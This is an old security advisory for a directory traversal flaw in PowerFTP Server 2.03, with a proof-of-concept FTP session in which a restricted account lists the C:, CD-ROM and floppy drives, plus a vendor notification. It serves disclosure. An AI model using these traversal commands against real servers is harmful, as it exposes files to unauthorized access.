CVE-2001-0933_Cooolsoft_PowerFTP_Server_2.03目錄遍歷漏洞

# CVE-2001-0933 Cooolsoft PowerFTP Server 2.03目錄遍歷漏洞
==INFO==

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PowerFTP Server data revealing sensitive on DRIVES remotes
and Denial of Service Vulnerability (Released exploits Codes).
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PowerFTPServer for Windows 9x/NT/2000 contains remote vulnerabilities 
which allow users to see and retrieve any file on the server. 
Exploit information included.

Company Affected: www.CooolSoft.com
Version: v2.03
Date Added: 08-28-01
Size: 1.83 MB
OS Affected: Windows 95/98/NT/2000

Author:

** Alex Hernandez 
** Thanks all the people from Spain and Argentina.
** Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins 
** G.Maggiotti & H.Oliveira.

----=[Brief Description]=------------

PowerFTP Server is an FTP server for Windows 9x/NT/2000.
A bug  allows  any user to change to any directory and see 
files to PATH also GET files remotely.

----=[Summary]=----------------------

PowerFTP is a powerful FTP client/server software. The feature of 
PowerFTP is the function of multiple thread downloading and uploading. 
it can even split one big file into several parts, and it can make 
your computer as a standard FTP server but exist a big HOLES:

1) Reveling data sensitive REMOTE with account restricted on Drives
   CDROM. Floppy and HDD Proof of concept.
2) Exploit code data revealing (Remote).
3) Remote DoS proof of concept.
4) Exploit code DoS (Remote).
5) Exploit code DoS attack Floppy Drive (Remote).

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Proof of concept

# uname -a
SunOS Lab 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-5_10
#

# ftp 10.0.0.1
Connected to 10.0.0.1.
220 Personal FTP Server ready
Name (10.0.0.1:root): temp
331 Password required for temp.
Password:
230 User temp logged in.
ftp>
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Exist another method for view "c:\" drive type the next:
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ftp> ls c:/
200 Port command successful.
150 Opening data connection for directory list. 
SUHDLOG.DAT
COMMAND.COM
BOOTLOG.PRV
FRUNLOG.TXT
DOS
[...]

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For list the files CDROM drive type the next:
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ftp> ls d:/
200 Port command successful.
150 Opening data connection for directory list.
00000001.LT1
AREF
AUTORUN.EXE
AUTORUN.INF
AUTORUN.INI
CLCD16.DLL
CLCD32.DLL
CLUF.TXT
D6F04BA8.BIN
DPLAYERX.DLL
DRVMGT.DLL
EE
EEAUTO.ICO
[...]

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For list the files Floppy drive type the next:
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ftp> ls a:/
200 Port command successful.
150 Opening data connection for directory list.

NOTE: If not exist Diskket, u can listen how to run the Drive :-).


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Vendor Response:
The vendor was notified
Support@cooolsoft.com
http://www.cooolsoft.com
Patch Temporary: Restricted files and Directories.

Alex Hernandez  (c) 2001.

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